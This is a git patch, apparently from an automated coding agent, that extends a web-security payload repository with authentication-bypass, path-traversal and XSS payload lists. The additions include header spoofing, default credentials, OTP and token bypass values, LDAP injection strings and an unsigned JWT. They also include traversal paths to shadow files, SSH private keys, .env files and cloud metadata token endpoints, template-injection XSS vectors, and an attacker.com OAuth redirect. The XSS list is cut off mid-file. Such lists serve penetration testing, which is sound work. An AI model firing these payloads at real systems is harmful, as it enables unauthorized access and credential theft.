From b58ed035c8eb3909f29736c7a98f986ada945e87 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Mon, 5 Jan 2026 14:53:43 +0000 Subject: [PATCH] Enhance existing vulnerabilities with comprehensive payloads (XSS, Auth Bypass, Path Traversal) and update README Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com> --- .../auth-bypass-payloads.txt | 223 ++++++++++++++ Path-Traversal/path-traversal-payloads.txt | 290 ++++++++++++++++++ README.md | 4 + XSS/xss-payloads.txt | 212 +++++++++++++ 4 files changed, 729 insertions(+) diff --git a/Authentication-Bypass/auth-bypass-payloads.txt b/Authentication-Bypass/auth-bypass-payloads.txt index b9de7fa..5ac9a7a 100644 --- a/Authentication-Bypass/auth-bypass-payloads.txt +++ b/Authentication-Bypass/auth-bypass-payloads.txt @@ -45,3 +45,226 @@ X-Original-URL: /admin X-Rewrite-URL: /admin X-Originating-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1 +X-Custom-IP-Authorization: 127.0.0.1 +X-Client-IP: 127.0.0.1 +X-Real-IP: 127.0.0.1 +X-Host: localhost +X-Forwarded-Host: localhost + +# URL path manipulation +/admin/..;/ +/admin/%2e%2e%3b/ +/./admin/./ +/admin;/ +/admin.. +//admin// +/./admin/./panel +/%2e/admin +/admin/~ +/admin# +/admin? + +# HTTP verb tampering +GET /admin +POST /admin +HEAD /admin +PUT /admin +DELETE /admin +OPTIONS /admin +TRACE /admin +PATCH /admin + +# Case manipulation +/Admin +/ADMIN +/AdMiN +/aDmIn + +# Unicode bypass +/admin%c0%af +/admin%e0%80%af +/admin%c0%ae%c0%ae/ +/%61dmin + +# Double encoding +/%252e%252e%252fadmin +/%252e%252e/admin + +# Null byte injection +/admin%00 +/admin%00.html +/admin%00.jpg + +# Credential stuffing patterns +admin:admin +administrator:administrator +root:root +admin:password +admin:123456 +admin:admin123 +test:test +guest:guest +user:user +demo:demo + +# Default credentials bypass +username=admin&password= +username=&password= +username=admin&password=%20 +username=admin&password=* + +# Password reset bypass +email=victim@example.com&email=attacker@example.com +token=&email=attacker@example.com +token=0 +token=null +token=false + +# OTP/2FA bypass +otp=000000 +otp=123456 +otp=111111 +otp= +otp=%20 +otp=null + +# Response manipulation +# Change HTTP response from 401/403 to 200 +# Change "authenticated": false to "authenticated": true +# Change "role": "user" to "role": "admin" + +# JWT manipulation (see JWT-Vulnerabilities for more) +Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ. +Authorization: Bearer null +Authorization: Bearer +Authorization: + +# GraphQL authentication bypass +{"query":"mutation{login(username:\"admin\",password:\"' OR '1'='1\"){token}}"} +{"query":"{users{id username password}}"} + +# XML authentication bypass +admin' OR '1'='1 + +# LDAP authentication bypass +username=* +username=admin)(|(password=* +username=*)(uid=*))(|(uid=* + +# OAuth/OIDC bypass +redirect_uri=https://attacker.com +state= +nonce= +code= + +# API key bypass +api_key= +X-API-Key: +Authorization: +apikey=null + +# Session fixation +PHPSESSID=attacker_controlled_session +jsessionid=12345 + +# CAPTCHA bypass +captcha= +g-recaptcha-response= +h-captcha-response= +captcha_response=03AAYGu2... +recaptcha= + +# Rate limiting bypass +X-Forwarded-For: random_ip_each_request +X-Originating-IP: random_ip_each_request +X-Remote-IP: random_ip_each_request + +# Account enumeration +username=admin&password=wrong +username=nonexistent&password=wrong + +# Login form variations +user[admin]=1 +user[role]=admin +username[]=admin +password[]=anything + +# Time-based bypass +wait_for_rate_limit=true +timestamp=future_date +valid_until=9999999999 + +# Magic hashes (PHP type juggling) +# 0e215962017 == 0 (PHP) +# 0e291242476940776845150308577824 == 0 +password=0e215962017 +password=240610708 + +# Unicode normalization +username=ⓐⓓⓜⓘⓝ +username=𝒶𝒹𝓂𝒾𝓃 +username=ａｄｍｉｎ + +# Homograph attack +username=αdmin (Greek alpha) +username=аdmin (Cyrillic а) + +# Whitespace bypass +username= admin +username=admin +username=%20admin +username=admin%20 + +# Special characters +username=admin' +username=admin" +username=admin` +username=admin\ + +# Email bypass for authentication +email=admin@localhost +email=admin@127.0.0.1 +email=@example.com +email=victim@attacker.com + +# Host header authentication bypass +Host: localhost +Host: 127.0.0.1 +Host: internal.company.com + +# Referer bypass +Referer: https://trusted-site.com +Referer: https://localhost + +# Origin bypass +Origin: https://trusted-site.com +Origin: null + +# Authentication via GET instead of POST +GET /api/login?username=admin&password=admin123 + +# File inclusion for authentication bypass +/etc/passwd +../../../../../../etc/passwd + +# SSRF to bypass authentication +url=http://localhost/admin +url=http://127.0.0.1/admin +url=http://169.254.169.254/latest/meta-data/ + +# Request smuggling for authentication bypass +Content-Length: 0 +Transfer-Encoding: chunked + +# Race conditions +# Send multiple authentication requests simultaneously + +# Business logic bypass +step=1&step=3 +status=pending&status=approved +verified=false&verified=true + +# Broken authentication chain +# Skip step 2 in multi-step authentication +# Reuse old session tokens +# Replay old authentication requests diff --git a/Path-Traversal/path-traversal-payloads.txt b/Path-Traversal/path-traversal-payloads.txt index d3d9a8d..5c141f7 100644 --- a/Path-Traversal/path-traversal-payloads.txt +++ b/Path-Traversal/path-traversal-payloads.txt @@ -55,3 +55,293 @@ ../../../.env ../../../web.config ../../../application.properties + +# Advanced encoding techniques +..%c0%af +..%c1%9c +..%e0%80%af +..%f0%80%80%af +..%c0%2f +..%c0%5c + +# Unicode bypass +..%u2216 +..%u2215 +..%uEFC8 +..%uF025 + +# 16-bit Unicode +..%c0%af +..%c1%9c +%c0%ae%c0%ae/ +%c0%ae%c0%ae%c0%af + +# UTF-8 encoding +%e0%80%ae%e0%80%ae/ +%c0%2e%c0%2e/ +%uff0e%uff0e/ + +# Overlong UTF-8 +..%c0%af +..%e0%80%af +..%c0%2e%c0%2e%c0%2f + +# Backslash variations +..\ +..\.. +..\\ +..\\..\\ +%2e%2e%5c +%2e%2e%2f + +# Mixed slash/backslash +..\/ +..\/..\ +../\..\ +..\/../ + +# Absolute path bypass +/etc/passwd +/etc/shadow +/etc/hosts +/var/log/apache2/access.log +/var/log/auth.log +/proc/self/environ +/proc/self/cmdline +/proc/self/fd/0 +/proc/self/fd/1 +/proc/self/fd/2 + +# Windows absolute paths +C:\Windows\System32\drivers\etc\hosts +C:\Windows\System32\config\SAM +C:\Windows\System32\config\SYSTEM +C:\boot.ini +C:\inetpub\wwwroot\web.config + +# Nested traversal +....// +....\/ +..../\ +....\\ + +# Dot segment bypass +./../ +./../../ +././../ +./.././../ + +# Multiple slashes +...// +..../// +.....//// + +# Filter bypass with current directory +.//.//.//.//..// +.//.//.//.//.// + +# Stripped traversal (if ../ is filtered) +...//...// +....\/....\/ +..;/..;/ +..;//..;// + +# Null byte variations +../../../etc/passwd%00 +../../../etc/passwd%00.png +../../../etc/passwd\x00 +../../../etc/passwd\0 + +# Path normalization bypass +/var/www/../../etc/passwd +/./var/./www/./../../etc/passwd +//var//www//../../etc/passwd + +# URL parameter pollution +?file=safe.txt&file=../../../etc/passwd +?path=images&path=../../../etc/passwd + +# Common web files +../../../index.php +../../../index.html +../../../wp-config.php +../../../configuration.php +../../../settings.php +../../../config.php +../.git/config +../.env +../.htaccess + +# Framework-specific files +# Laravel +../../../.env +../../../storage/logs/laravel.log +../../../config/database.php +../../../config/app.php + +# Symfony +../../../.env.local +../../../config/packages/security.yaml +../../../var/log/dev.log + +# Django +../../../settings.py +../../../manage.py +../../../db.sqlite3 + +# Spring Boot +../../../application.properties +../../../application.yml +../../../application-prod.properties + +# Ruby on Rails +../../../config/database.yml +../../../config/secrets.yml +../../../Gemfile + +# Node.js/Express +../../../package.json +../../../.env +../../../config/default.json + +# ASP.NET +../../../web.config +../../../Web.config +../../../appsettings.json +../../../appsettings.Production.json + +# Java +../../../WEB-INF/web.xml +../../../META-INF/context.xml +../../../WEB-INF/classes/application.properties + +# Cloud provider metadata +../../../../../../proc/self/environ +../../../../../../proc/version +../../../../../../proc/cmdline + +# AWS metadata +http://169.254.169.254/latest/meta-data/ +http://169.254.169.254/latest/user-data/ +http://169.254.169.254/latest/dynamic/instance-identity/document + +# Azure metadata +http://169.254.169.254/metadata/instance?api-version=2021-02-01 + +# GCP metadata +http://metadata.google.internal/computeMetadata/v1/ +http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token + +# Docker +../../../../../../proc/self/cgroup +../../../../../../proc/self/mountinfo +../../../../../../etc/hostname + +# Log files +../../../var/log/apache2/access.log +../../../var/log/apache2/error.log +../../../var/log/nginx/access.log +../../../var/log/nginx/error.log +../../../var/log/auth.log +../../../var/log/syslog +../../../var/log/mail.log +../../../var/log/mysql/error.log + +# Windows log files +C:\Windows\System32\winevt\Logs\Application.evtx +C:\Windows\System32\winevt\Logs\Security.evtx +C:\Windows\System32\winevt\Logs\System.evtx + +# SSH keys +../../../root/.ssh/id_rsa +../../../root/.ssh/id_dsa +../../../root/.ssh/authorized_keys +../../../home/user/.ssh/id_rsa +../../../home/user/.ssh/authorized_keys + +# Database files +../../../var/lib/mysql/mysql/user.MYD +../../../var/lib/postgresql/data/pg_hba.conf +../../../var/lib/mongodb/data/db + +# Backup files +../../../backup.sql +../../../database.sql +../../../db_backup.sql +../../../site_backup.tar.gz +../../../backup.zip + +# Source code files +../../../.git/HEAD +../../../.git/config +../../../.git/logs/HEAD +../../../.svn/entries +../../../.hg/hgrc + +# Session files +../../../tmp/sess_* +../../../var/lib/php/sessions/sess_* +../../../tmp/sessions/* + +# Cache files +../../../tmp/cache/* +../../../var/cache/* +../../../storage/cache/* + +# Temporary files +../../../tmp/* +../../../temp/* +../../../var/tmp/* + +# SSRF via path traversal +file:///etc/passwd +file:///C:/Windows/System32/drivers/etc/hosts +file://localhost/etc/passwd +file://127.0.0.1/etc/passwd + +# Path traversal in cookies +Cookie: file=../../../etc/passwd +Cookie: path=../../../var/www/html/index.php + +# Path traversal in headers +X-File: ../../../etc/passwd +X-Path: ../../../var/www/html/config.php +User-Agent: ../../../etc/passwd +Referer: ../../../etc/passwd + +# Path traversal in JSON +{"file":"../../../etc/passwd"} +{"path":"../../../var/www/html/config.php"} +{"template":"../../../etc/passwd"} + +# Path traversal in XML +../../../etc/passwd +../../../var/www/html/config.php + +# Polyglot path traversal +....//....//....//etc/passwd +..%252f..%252f..%252fetc/passwd +..%c0%af..%c0%af..%c0%afetc/passwd + +# Filter evasion +..%00/..%00/..%00/etc/passwd +..%20/..%20/..%20/etc/passwd +..%09/..%09/..%09/etc/passwd + +# Case sensitivity (Windows) +..\\..\\..\\..\\..\\..\\..\\.\\ETC\\PASSWD +..\\..\\..\\..\\..\\..\\..\\.\\Etc\\Passwd + +# Alternate data streams (Windows) +../../../test.txt::$DATA +../../../test.txt::$INDEX_ALLOCATION + +# UNC paths (Windows) +\\\\localhost\\C$\\Windows\\System32\\drivers\\etc\\hosts +\\\\127.0.0.1\\C$\\Windows\\System32\\config\\SAM + +# Mac/Linux specific +../../../etc/passwd +../../../etc/master.passwd +../../../private/etc/master.passwd +../../../Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist diff --git a/README.md b/README.md index 321da98..7ab31ad 100644 --- a/README.md +++ b/README.md @@ -12,6 +12,7 @@ This repository contains a complete collection of testing payloads organized by - **[NoSQL Injection](./NoSQL-Injection/)** - NoSQL database injection (MongoDB, Redis, CouchDB) - **[XSS (Cross-Site Scripting)](./XSS/)** - Client-side code injection - **[Command Injection](./Command-Injection/)** - OS command execution & symbolic link attacks +- **[SSTI (Server-Side Template Injection)](./SSTI/)** - Template engine exploitation & RCE - **[CSV Injection](./CSV-Injection/)** - Formula injection in spreadsheets - **[LDAP Injection](./LDAP-Injection/)** - Directory service manipulation - **[Log Injection](./Log-Injection/)** - Log file manipulation @@ -34,6 +35,9 @@ This repository contains a complete collection of testing payloads organized by **Configuration & Design:** - **[Security Misconfiguration](./Security-Misconfiguration/)** - Default credentials, misconfigurations +- **[CORS Misconfiguration](./CORS-Misconfiguration/)** - Cross-origin resource sharing issues +- **[HTTP Request Smuggling](./HTTP-Request-Smuggling/)** - Request desynchronization attacks +- **[JWT Vulnerabilities](./JWT-Vulnerabilities/)** - JSON Web Token implementation flaws - **[Business Logic](./Business-Logic/)** - Business logic flaws - **[Weak Cryptography](./Weak-Cryptography/)** - Weak crypto implementations - **[Vulnerable Components](./Vulnerable-Components/)** - Known vulnerable libraries diff --git a/XSS/xss-payloads.txt b/XSS/xss-payloads.txt index cec7e12..f1d8aae 100644 --- a/XSS/xss-payloads.txt +++ b/XSS/xss-payloads.txt @@ -541,3 +541,215 @@ a="get";b="URL(ja\"";c="vascr";d="ipt:ale";e="rt('XSS');\")";eval(a+b+c+d+e); # SVG/HTML nesting XSS + +# Modern XSS vectors and WAF bypasses + +# AngularJS template injection +{{constructor.constructor('alert(1)')()}} +{{$on.constructor('alert(1)')()}} +{{$eval.constructor('alert(1)')()}} +{{$parent.constructor('alert(1)')()}} +
{{$eval.constructor('alert(1)')()}}
+ +# VueJS template injection +{{constructor.constructor('alert(1)')()}} +{{_c.constructor('alert(1)')()}} +
+ +# React JSX injection + +
'}} /> + +# Mutation XSS (mXSS) +